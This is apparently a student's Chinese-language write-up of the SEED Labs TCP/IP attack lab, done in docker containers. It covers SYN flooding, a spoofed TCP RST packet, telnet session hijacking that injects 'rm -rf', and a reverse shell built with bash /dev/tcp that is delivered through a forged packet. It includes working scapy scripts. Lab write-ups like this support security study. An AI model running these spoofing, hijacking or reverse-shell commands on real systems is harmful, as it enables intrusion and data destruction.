TCP/IP攻击
SeedLab网络实验TCP/IP攻击过程记录整理,还有待进一步补充,存疑之处欢迎指正和探讨!
实验来源:seed-labs
实验环境:配置指南
启动docker实验环境
注意以下叙述区分虚拟机和容器的区别,是在虚拟机上拉取的docker镜像。
-
cd Labsetup
-
docker-compose up -d
-
docker ps --format "{{ .ID }} {{ .Names }}"
-
给容器开一个shell,
docker exec -it <id> /bin/bash
If a docker command requires a container ID, you do not need to type the entire ID string. Typing the first few characters will be sufficient, as long as they are unique among all the containers.
-
exit退出
验证
In this lab, we need to telnet from one containter to another. We have already created an account called seed inside all the containers. Its password is dees. You can telnet into this account.
Task1: SYN Flooding Attack
前置说明
检查半连接队列大小和队列状态
-
sysctl net.ipv4.tcp_max_syn_backlog
-
netstat -nat
防御措施:SYN Cookie
This mechanism is called SYN cookie. It will kick in if the machine detects that it is under the SYN flflood ing attack.By default, Ubuntu’s SYN flflooding countermeasure is turned on.
在构建victim容器时已在docker-compose.yml中将其关闭:
|
|
在ubuntu内查看当前状态和开关syncookies的命令(下述-w设置命令需特权权限):
|
|
实例1:User1无特权
实例2:Victim有特权
查阅了相关资料是说denied是因为要求在sudo也就是root下执行。而我是通过telnet登录seed用户,并不是root。
查阅资料发现可以改变进入容器时的权限,通过-u直接提权:
-
docker exec -it -u root <id> /bin/bash
-
sysctl -w net.ipv4.tcp_syncookies=1
,成功 -
当然没有特权即时root也不行
其实直接通过
docker exec -it <id> /bin/bash
也是进入root用户,对docker和实验环境还不够熟悉…
使用python发起攻击
|
|
attack:
victim检查连接数netstat -tna | grep SYN_RECV | wc -l
,已经占满了,虽说前面是128但是有四分之一是系统已明确的连接,因此实际空间是小于128的:
user机尝试连接受害机,仍能连上,攻击失败:
排查过程
排查思路主要是按照实验手册所提供的一条条进行尝试:
-
TCP缓存问题:主要可能是没攻击之前就已经连接过(主要是TCP连接),所以这台用户机似乎对SYN泛洪免疫,仍能连上 => 本质上是内核缓解机制,就是上面所说的当SYN cookies关闭时系统会与预留四分之一的半连接队伍给proven destination,当这些已连接过的用户机(已经被记住了)再次连接时,直接相当于调用缓存里有的即可(队伍里有它的位置了),不会造成无空位的情况。
ip tcp_metrics show
发现确实已存在该连接:解决办法:
ip tcp_metrics flush
清空,再次攻击,成功!:
但是上述攻击成功并不是一直的,有时也会失败。
攻击失败原因探索及成功率比较
- TCP重传问题
- 队列大小
待补充……
使用C语言发起攻击
Other than the TCP cache issue, all the issues mentioned in previous Task can be resolved if we can send spoofed SYN packets fast enough.
编译运行
Before launching the attack, please restore the queue size to its original value.
-
在虚拟机环境下编译
gcc -o synflood synflood.c
,在进入attack容器攻击 -
synflood 10.9.0.5 23
攻击效果
使用一台用户机利用telnet命令访问victim,超时 => 已成功。
两种攻击方式的比较
待补充……
开启SYN Cookie策略
-
victim开启SYN Cookie防御机制:
sysctl -w net.ipv4.tcp_syncookies=1
-
清空TCP缓存,同上。
-
发起c语言攻击,结果如下:
成功。防御机制生效了。
-
再清空缓存发起python攻击,结果同上,syn泛洪不起效。
Task 2: TCP RST Attacks on telnet Connections
The TCP RST Attack can terminate an established TCP connection between two victims.
手动攻击
以victim容器作为服务端,user1作为客户端,虚拟机VM作为攻击主机
-
在虚拟机上打开Wireshark,监听any网卡,filter: telnet
-
从用户机user1 telnet到victim后随便执行一条命令,如ls,抓victim发往user1的包,注意一定得是找最后一个,这样才能找到正确的下一个序列号。
-
根据截获的源地址、目标地址、端口号以及序列号,构造RST数据包
1 2 3 4 5 6 7
#!/usr/bin/env python3 from scapy.all import * ip = IP(src="10.9.0.5", dst="10.9.0.6") tcp = TCP(sport=23, dport=58584, flags="R", seq=1535522062) pkt = ip/tcp ls(pkt) send(pkt, verbose=0)
-
在虚拟机端执行上述python脚本:
sudo python3 rstattack.py
-
攻击结果,可以发现telnet连接已被断开。成功!
自动攻击
自动脚本 => 利用scapy的sniff功能嗅探出序列号等信息,并进行攻击包的伪造发送。
成品开发中……
Task 3: TCP Session Hijacking
In this task, you need to demonstrate how you can hijack a telnet session between two computers. Your goal is to get the telnet server to run a malicious command from you.
手动攻击
以victim容器作为服务端,user1作为客户端,虚拟机VM作为攻击主机
-
在虚拟机上打开Wireshark,监听any网卡,filter:
telnet
-
在服务端创建一个文件new.txt
-
从用户机user1 telnet到victim,查看刚才创建的文件。
劫持目标:删除服务器上的new.txt
-
抓包,在客户端和服务端进行通讯后,直接抓最后一个包。
-
根据截获的当前二者通信的最后一个包中的源地址、目标地址、端口号、序列号以及Ack伪造下一个要发送的tcp包。
端口互换并采用 Next sequence number 作为下一个包的ack 、采用ack作为下一个包的seq。复习TCP三次握手等!
1 2 3 4 5 6 7 8
#!/usr/bin/env python3 from scapy.all import * ip = IP(src="10.9.0.6", dst="10.9.0.5") tcp = TCP(sport=36498, dport=23, flags="A", seq=3699741602, ack=3039952057) data = "\r rm -rf new.txt\r" pkt = ip/tcp/data ls(pkt) send(pkt, verbose=0)
-
在虚拟机端发起攻击
sudo python3 sessionhijacking.py
,抓包可以看到该包发送,data中就是我们构造的数据,攻击成功! -
进一步验证攻击效果:docker进入victim容器,查看seed用户~目录,发现空,攻击成功!
参考:
补充1
当会话劫持成功时,客户端会有什么特点,输入一些字符时什么现象?为什么?
可以发现当劫持成功时,客户端在刚才的telnet连接下会有类似卡住的现象,想要输入一些字符发现是没有反应的(这也是为什么第七步进一步验证没在这个telnet连接里做,而是选择了docker新开一个终端进入victim验证)。即表现为与服务器交互没有反应,失去与服务器的会话连接。
抓包可以发现在客户端尝试输入字符时会出现TCP spurious retransmission包(虚假重传)。关于TCP 虚假重传是指发送端重发了一个已经收到应答的报文段或者说是发送端认为发送的package已经丢失了,所以重传了,尽管此时接收端已经发送了对这些包的确认。
回到会话劫持这个问题上,我们是通过抓包已通信的最后一个包,获取其nextseq和ack进而构造出理论的下一个包的seq和在ack实现劫持,也就是说攻击主机已经将这个seq用掉了,并且服务端已经返回ack确认包。但是又在客户端尝试输入,输入内容所发的包用的还是刚才的seq(参见此张截图和此张截图,重点关注两个包的seq是相同的),因为客户端并不知道被劫持seq被使用过了,所以又用相同的seq第二次发包,seq作为标识,相同意味着会被看做同一个包,即发送端重发了一个已经收到应答的报文段,造成虚假重传,并不会收到服务端的确认,即表现为没有交互反应,失去与服务器的会话连接。抓包中出现大量虚假重传记录的条数,本质上有点类似死循环,互相都在发一个对方已经丢弃(前面已确认)的包。
参考资料:
补充2
当序列号设置的大一点会有什么现象?
当前转最后一个通信包结果如下:
伪造tcp包如下(将序列号设置的大一点):
|
|
发起攻击sudo python3 sessionhijacking.py
查看客户端,输入字符ls,可以发现此时可以输入,但是创建new1.txt文件并没有成功。
抓包,可以明显看到刚才的会话劫持,若发送一个较大序列号的包会出现TCP Previous segment not captured的报错,也就是这个序列号之前的包并没收到,所以并没有响应malicious command。
后续194~214四个包则是执行ls命令所发出的telnet包,可以看到最后一个ack是1854277580,距离我们设置的序列号1854277585还有几个包,因此再尝试一次ls命令。
到这一步,我再尝试输入l时,客户端又没有响应了:
抓包可以看到,服务端会返回l的单个字符,并期望客户端下一个包序列号是1854277602。
随后就能看到他会执行先前因为previous segment没有收到而没执行的伪造包并返回(现在序列号满足要求了),创建了new1.txt,同样新建shell进入victim查看效果,攻击成功。
没反应的l又是出现虚假重传问题,同理补充1。
关于补充2,总体上目前理解是伪造包将序列号设置的大一些,直接发送后,服务端不会马上执行,同时此时telnet的客户端也不会没有响应(有序列号可以发包,还没发到相同的seq的包),等到了伪造的序列号时,服务端会直接自动执行刚才未执行的伪造包,执行相应的malicious command,随后客户端又会陷入没响应状态,同理补充1。
但是对于细节,这个服务端返回的l和后面虚假重传的l是什么关联?理论上按的一次l应该也是能发包的能显示的,为什么没有响应和发包记录?不应该按第二次l才会造成虚假重传?289和291两个包的seq和ack如何理解?…再研究再研究,计网还得好好复习,欢迎指教和探讨!
自动攻击
自动脚本 => 利用scapy的sniff功能嗅探出序列号等信息,并进行攻击包的伪造发送。
成品开发中……
Task 4: Creating Reverse Shell using TCP Session Hijacking
In the TCP session hijacking attack, attackers cannot directly run a command on the victim machine, so their jobs is to run a reverse-shell command through the session hijacking attack.
验证Reverse Shell
涉及2台容器,attacker和victim
-
attacker中监听9090端口,
nc -lnv 9090
- -l 使用监听模式,管控传入的资料。
- -n 直接使用IP地址,而不通过域名服务器。
- -v 显示指令执行过程。
-
victim中执行逆向shell命令
/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1
- “/bin/bash -i”: i stands for interactive, meaning that the shell must be interactive (must provide a shell prompt)
- “> /dev/tcp/10.9.0.1/9090”: This causes the output (stdout) of the shell to be redirected to the tcp connection to 10.9.0.1’s port 9090. The output stdout is represented by file descriptor number 1.
- “0<&1”: File descriptor 0 represents the standard input (stdin). This causes the stdin for the shell to be obtained from the tcp connection.
- “2>&1”: File descriptor 2 represents standard error stderr. This causes the error output to be redirected to the tcp connection.
有助理解:
通过会话劫持获取Reverse Shell
以victim容器作为服务端,user1作为客户端,虚拟机VM作为攻击主机
劫持目标:user1和victim进行telnet连接,攻击主机进行会话劫持并获得victim的reverse shell。
-
user1 telnet 连接victim
-
抓包,同理任务3。
-
伪造tcp包,重点修改data也就是我们的malicious command
1 2 3 4 5 6 7 8
#!/usr/bin/env python3 from scapy.all import * ip = IP(src="10.9.0.6", dst="10.9.0.5") tcp = TCP(sport=46984, dport=23, flags="A", seq=683647009, ack=1421447214) data = "\r /bin/bash -i > /dev/tcp/10.0.2.15/9090 0<&1 2>&1 \r" pkt = ip/tcp/data ls(pkt) send(pkt, verbose=0)
-
在攻击主机上首先监听9090端口并发起攻击,查看结果。
-
验证,通过ifconfig命令查看逆向shell ip。
可以发现当前得到的shell ip是10.9.0.5,正是服务端(victim)的ip,即在攻击主机上获得服务端reverse shell成功!
参考资料:网络安全攻防实验